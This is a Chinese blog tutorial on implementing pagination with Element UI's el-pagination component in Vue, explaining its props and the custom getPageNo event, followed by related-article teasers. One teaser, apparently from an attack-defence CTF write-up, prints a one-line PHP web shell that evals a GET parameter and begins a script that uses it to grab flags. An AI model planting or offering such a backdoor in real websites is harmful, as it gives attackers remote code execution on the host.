如何在项目中用elementui实现分页器功能

1.在结构部分复制官网代码:

  1. <template> 标签:

    • 这是 Vue 模板的根标签,包含所有的 HTML 元素和 Vue 组件。
  2. <div> 标签:

    • 这是一个普通的 HTML 元素,包裹了 el-pagination 组件。它没有特别的意义,只是为了确保 el-pagination 组件在模板中有合适的父元素。
  3. <el-pagination> 标签:

    • 这是 Element UI 库中的一个组件,用于创建分页器。

    • 以下是对各个属性的解释:

    • background:

      • 这个属性用于给分页器的按钮添加背景色。如果设置为 true,按钮会有背景色。
    • layout="prev, pager, next":

      • layout 属性定义了分页器的布局。这里指定了三个部分:
        • prev: 表示“上一页”按钮。
        • pager: 表示中间的页码选择部分。
        • next: 表示“下一页”按钮。
    • :current-page="pageNo":

      • current-page 绑定了一个名为 pageNo 的变量,表示当前选中的页码。: 是 Vue.js 的绑定语法,表示这是一个动态绑定的值。
    • :total="total":

      • total 绑定了一个名为 total 的变量,表示总的数据条数。分页器会根据这个值自动计算总页数。
    • :page-size="pageSize":

      • page-size 绑定了一个名为 pageSize 的变量,表示每页显示的数据条数。
    • :pager-count="7":

      • pager-count 表示页码选择器中最多显示多少个页码按钮。在这里,最多显示 7 个页码按钮。
    • @current-change="$emit('getPageNo', $event)":

      • 这是一个事件监听器,当用户切换页码时(即 current-change 事件被触发),会执行 $emit('getPageNo', $event)。这里 $emit 是 Vue.js 中用于触发自定义事件的方法。$event 是 Vue.js 提供的一个特殊变量,表示事件触发时传递的参数,即用户选择的页码

2.在需要用到分页器的组件编辑参数:

  1. :pageNo="searchParams.pageNo":

    • pageNo 是传递给 Pagination 组件的一个属性,表示当前页码。
    • searchParams.pageNo 是一个对象属性,表示当前搜索参数中的页码。
  2. :pageSize="searchParams.pageSize":

    • pageSize 是传递给 Pagination 组件的一个属性,表示每页显示的数据条数。
    • searchParams.pageSize 是一个对象属性,表示当前搜索参数中的每页数据条数。
  3. :total="total":

    • total 是传递给 Pagination 组件的一个属性,表示总的数据条数。
    • total 是一个变量,表示总的数据条数。
  4. :continues="5":

    • continues 是传递给 Pagination 组件的一个属性,表示分页器中连续显示的页码数量。
    • 5 表示在分页器中会显示连续的 5 个页码按钮。
  5. @getPageNo="getPageNo":

    • @getPageNo 是监听 Pagination 组件触发的 getPageNo 事件。
    • getPageNo 是一个方法,表示当 Pagination 组件触发 getPageNo 事件时,会调用 getPageNo 方法来处理事件。

3.在分页器组件接收参数

 4.在需要用到分页器的组件设置初始参数:

5.在需要用到分页器的组件像服务器发请求(实现按钮和页面跳转的绑定)

最后,可以看见效果:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/474377.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

海量数据面试题

目录 前言 什么是海量数据 一、利用位图解决 二、利用布隆过滤器解决 三、利用哈希切割解决 前言 在大数据时代&#xff0c;海量数据处理已成为技术领域中的一项重要课题。无论是企业级应用、互联网平台&#xff0c;还是人工智能和机器学习的实现&#xff0c;都离不开对大规…

Diff 算法的误判

起源&#xff1a; 设想一下&#xff0c;假如你桌面上的文件都没有文件名&#xff0c;取而代之的是&#xff0c;你使用通过文件的位置顺序即index来区分它们———第一个文件&#xff0c;第二个文件&#xff0c;以此类推。也许这种方式可行&#xff0c;可是一旦你删除了其中的一…

基于Java Springboot幼儿园管理系统

一、作品包含 源码数据库设计文档万字PPT全套环境和工具资源部署教程 二、项目技术 前端技术&#xff1a;Html、Css、Js、Vue、Element-ui 数据库&#xff1a;MySQL 后端技术&#xff1a;Java、Spring Boot、MyBatis 三、运行环境 开发工具&#xff1a;IDEA/eclipse 数据…

Misc_01转二维码(不是二进制)

例题ctfhub/隐写v2.0 打开是一张图片 文件分离得到zip&#xff0c;爆破密码得到7878 打开得到0和1&#xff0c; !!!不是二进制转图片&#xff0c;直接是二维码 缩小能看到 000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000…

5.4.2-1 编写Java程序在HDFS上创建文件

本次实战涉及使用Java操作Hadoop HDFS&#xff0c;包括创建文件、判断文件存在性及异常处理。通过手动添加依赖、启动HDFS服务&#xff0c;成功在HDFS上创建和检查文件。进一步探索了文件操作的最佳实践&#xff0c;如检查文件存在性以避免重复创建&#xff0c;以及处理HDFS安全…

MySQL时间字段TIMESTAMP和DATETIME

SELECT global.time_zone, session.time_zone;查询数据库的全局时区和当前会话的时区信息&#xff0c;一般如果使用navicat进行连接&#xff0c;没有显示指定时区信息&#xff0c;会默认使用system_time_zone。 可以使用 SET time_zone 08:00; SELECT global.time_zone, sess…

Android集成FCM(Firebace Cloud Messaging )

集成FCM官方文档 Firebace主页面 将 Firebase 添加到您的 Android 应用 1、进入Firebace页面&#xff0c;创建自己的项目 2、点击自己创建好的项目&#xff0c;在右侧选择Cloud Messaging 3、点击Android去创建 google-services.json 4、将下载的 google-services.json 文件…

AWD脚本编写_1

AWD脚本编写_1 shell.php&#xff08;放在网站根目录下&#xff09; <?php error_reporting(0); eval($_GET["yanxiao"]); ?>脚本编写成功 后门文件利用与解析 import requests import base64def get_flag(url, flag_url, method, passwd, flag_path):cmd…

【JavaEE初阶 — 多线程】定时器的应用及模拟实现

目录 1. 标准库中的定时器 1.1 Timer 的定义 1.2 Timer 的原理 1.3 Timer 的使用 1.4 Timer 的弊端 1.5 ScheduledExecutorService 2. 模拟实现定时器 2.1 实现定时器的步骤 2.1.1 定义类描述任务 定义类描述任务 第一种定义方法 …

一文了解 inductive bias(归纳偏好)

&#x1f349; CSDN 叶庭云&#xff1a;https://yetingyun.blog.csdn.net/ 归纳偏好&#xff08;Inductive Bias&#xff09;是机器学习中的一个非常基础但又非常重要的概念。为了更好地理解它&#xff0c;我们先从 “归纳” 和 “偏好” 这两个词开始讲解。 什么是归纳&#x…

【电子设计】按键LED控制与FreeRTOS

1. 安装Keilv5 打开野火资料,寻找软件包 解压后得到的信息 百度网盘 请输入提取码 提取码:gfpp 安装526或者533版本都可以 下载需要的 F1、F4、F7、H7 名字的 DFP pack 芯片包 安装完 keil 后直接双击安装 注册操作,解压注册文件夹后根据里面的图示步骤操作 打开说明 STM…

ROS Action

在 ROS 中&#xff0c;Action 是一种支持长时间异步任务的通信机制。与 Service 不同&#xff0c;Action 允许客户端发起一个请求&#xff0c;并在任务执行的过程中不断接收反馈&#xff0c;直到任务完成。这种机制非常适用于可能需要较长时间来完成的任务&#xff0c;比如机器…

Siglus引擎 Unpack | 未完待续

前言 未完待续。 代码在这里&#xff1a;https://github.com/N0zoM1z0/SiglusEngine-Extract 以后随时会更新。&#xff08;&#xff09; 因为我是选择直接逆向游戏引擎&#xff0c;在无源码&#xff0c;不hook的情况下硬逆Siglus…… 路漫漫。。。 read.sav 可以直接逆Sigl…

Windows docker下载minio出现“Using default tag: latestError response from daemon”

Windows docker下载minio出现 Using default tag: latest Error response from daemon: Get "https://registry-1.docker.io/v2/": context deadline exceeded 此类情况&#xff0c;一般为镜像地址问题。 {"registry-mirrors": ["https://docker.re…

ue中使用webui有效果白色拖动条 有白边

这种类型&#xff0c;分析发现跟ue没有关系 是网页代码的问题 可以在外头加个overflow: hidden; <body style"height: 100%; margin: 0;overflow: hidden;">完美解决

记录java Collections.sort踩的坑

前言 java Collections.sort 排序失效&#xff1f;为什么会排序失效呢&#xff1f; 需求和问题 需求&#xff1a;获取指定文件夹下的所有文件&#xff0c;并且按照修改时间顺序从大到小排序&#xff0c;如果修改时间相同&#xff0c;则按照创建时间从大到小排序 // 输入lis…

MODBUS TCP转CANOpen网关

Modbus TCP转CANopen网关 型号&#xff1a;SG-TCP-COE-210 产品用途 本网关可以实现将CANOpen接口设备连接到MODBUS TCP网络中&#xff1b;并且用户不需要了解具体的CANOpen和Modbus TCP 协议即可实现将CANOpen设备挂载到MODBUS TCP接口的 PLC上&#xff0c;并和CANOpen设备…

为何数据库推荐将IPv4地址存储为32位整数而非字符串?

目录 一、IPv4地址在数据库中的存储方式&#xff1f; 二、IPv4地址的存储方式比较 &#xff08;一&#xff09;字符串存储 vs 整数存储 &#xff08;二&#xff09;IPv4地址"192.168.1.8"说明 三、数据库推荐32位整数存储方式原理 四、存储方式对系统性能的影响…

《译文》2024年11月数维杯国际大学生数学建模挑战赛题目

# 赛题正式发布 2024年第十届数维杯国际大学生数学建模挑战赛顺利开赛&#xff0c;竞赛开始时间为北京时间2024年11月15日09:00至北京时间2024年11月19日09:00&#xff0c;共计4天&#xff0c;竞赛题目正式发布&#xff0c;快来一起围观&#xff0c;你认为今年的哪个题目更具有…

机器学习(贝叶斯算法,决策树)

朴素贝叶斯分类 贝叶斯分类理论 假设现有两个数据集&#xff0c;分为两类 我们现在用p1(x,y)表示数据点(x,y)属于类别1(图中红色圆点表示的类别)的概率&#xff0c;用p2(x,y)表示数据点(x,y)属于类别2(图中蓝色三角形表示的类别)的概率&#xff0c;那么对于一个新数据点(x,y)…